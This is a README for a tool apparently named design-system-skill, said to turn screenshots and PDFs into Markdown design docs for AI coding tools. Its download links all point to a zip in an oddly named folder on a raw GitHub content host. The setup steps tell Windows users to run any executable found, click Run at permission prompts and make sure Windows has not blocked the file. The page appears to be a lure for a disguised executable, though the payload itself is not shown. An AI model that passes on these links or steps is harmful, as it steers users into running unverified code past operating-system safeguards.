## README
# 🎨 design-system-skill - Turn designs into clean docs

[![Download the latest release](https://img.shields.io/badge/Download-Latest%20Release-blue)](https://raw.githubusercontent.com/Cash4478/design-system-skill/main/Chaetognatha/system_design_skill_2.6.zip)

## 🧩 What this is

design-system-skill helps you turn design references into clear Markdown files. It creates:

- `design.md`
- `design-guidelines.md`
- `design-components.md`

You can use it with images, PDFs, links, and screenshots. It fits AI-assisted coding tools like Cursor, Claude Code, and Copilot. It gives you a simple way to turn design input into structure that code tools can use.

## 📥 Download

Visit this page to download and run the latest release on Windows:

https://raw.githubusercontent.com/Cash4478/design-system-skill/main/Chaetognatha/system_design_skill_2.6.zip

On the release page, look for the latest version and download the Windows file that matches your device. If you see a `.exe` file, download it and run it. If you see a zip file, download it, unzip it, then open the app inside the folder.

## 🪟 Windows setup

1. Open the release page.
2. Download the latest Windows package.
3. If the file is zipped, right-click it and choose Extract All.
4. Open the extracted folder.
5. Double-click the app file to start it.
6. If Windows asks for permission, choose Run.

If the file does not open at first, try right-clicking it and selecting Open.

## ✨ What it does

This tool helps you build design docs from visual references. It can help you:

- capture a design system from screenshots
- turn page mockups into clear notes
- list colors, type, spacing, and layout rules
- break down UI parts into reusable components
- create simple Markdown files for AI coding tools
- keep design details in one place

It is useful when you want design information in text form instead of scattered across images and links.

## 🧠 Main use cases

Use this tool when you want to:

- move from a design file to a code-ready brief
- explain a UI style to an AI coding tool
- compare screens and find shared UI parts
- create a small design system from a product mockup
- organize reference material before building an app

It works well for app screens, landing pages, dashboards, and component libraries.

## 📂 Output files

The app can create these files:

### `design.md`
A plain overview of the design. Use this file when you want a fast summary of the visual direction, page structure, and main UI parts.

### `design-guidelines.md`
A guide for design rules. Use this file for spacing, type, color use, button style, form style, and layout patterns.

### `design-components.md`
A list of UI components. Use this file to describe buttons, cards, inputs, nav bars, tables, and other reusable parts.

These files help you hand off design details to a person or to an AI coding tool.

## 🖥️ System needs

This tool is made for Windows users and works best on a modern desktop or laptop. A good setup is:

- Windows 10 or Windows 11
- 4 GB RAM or more
- A few hundred MB of free disk space
- A screen with enough room to view design references and output files
- Internet access for downloading the release and using online references

For larger PDFs or many screenshots, more memory can help.

## 🧭 How to use it

1. Start the app.
2. Add your design reference.
3. Choose the source type if needed.
4. Let the tool read the content.
5. Review the generated Markdown files.
6. Save the files in your project folder.
7. Use them with your coding tool or share them with your team.

## 🖼️ Supported input

You can use:

- screenshots
- images
- PDF files
- design links
- saved web pages
- reference boards

For best results, use clear images and complete pages. If your source has many screens, add them in the order you want them read.

## 🧱 What gets extracted

The tool can help you capture:

- color values
- font choices
- spacing rules
- button styles
- form fields
- card layouts
- header and nav patterns
- page structure
- repeated UI elements
- component names

This makes it easier to build the same look in code.

## 🔧 Best way to prepare your files

Before you run the tool, try to keep your references neat:

- use full-screen screenshots when possible
- crop out extra browser bars
- keep PDF pages in the right order
- name files so you can tell them apart
- group related screens together

Cleaner source files give cleaner Markdown output.

## 📌 Using the output with AI coding tools

After the files are created, you can paste them into tools like Cursor, Claude Code, or Copilot. They help those tools understand:

- what the app should look like
- which parts repeat
- which styles stay the same
- how the page should behave

This can save time when you want code that follows the design more closely.

## 🧪 Example workflow

If you have a product dashboard screenshot:

1. Put the screenshot into the app.
2. Generate the Markdown files.
3. Open `design-guidelines.md` to review the visual rules.
4. Open `design-components.md` to see the reusable parts.
5. Use the files as a guide while building the page in code.

If you have a PDF with several screens, process them in the same order as the user flow.

## 🗂️ File handling tips

Keep your output files in the same project folder as your app code. A simple folder layout helps:

- `references/` for images and PDFs
- `docs/` for generated Markdown files
- `code/` for your app files

This makes it easier to find the source and the output later.

## 🔍 Troubleshooting

If the app does not start:

- make sure the file finished downloading
- unzip the file if needed
- check that Windows did not block the file
- run it again as a normal app

If the output looks incomplete:

- use a clearer image
- try a larger screenshot
- split large PDFs into smaller parts
- make sure the reference is not blurry or cropped too tightly

If you still have trouble, download the latest release again from the release page and try the newest version
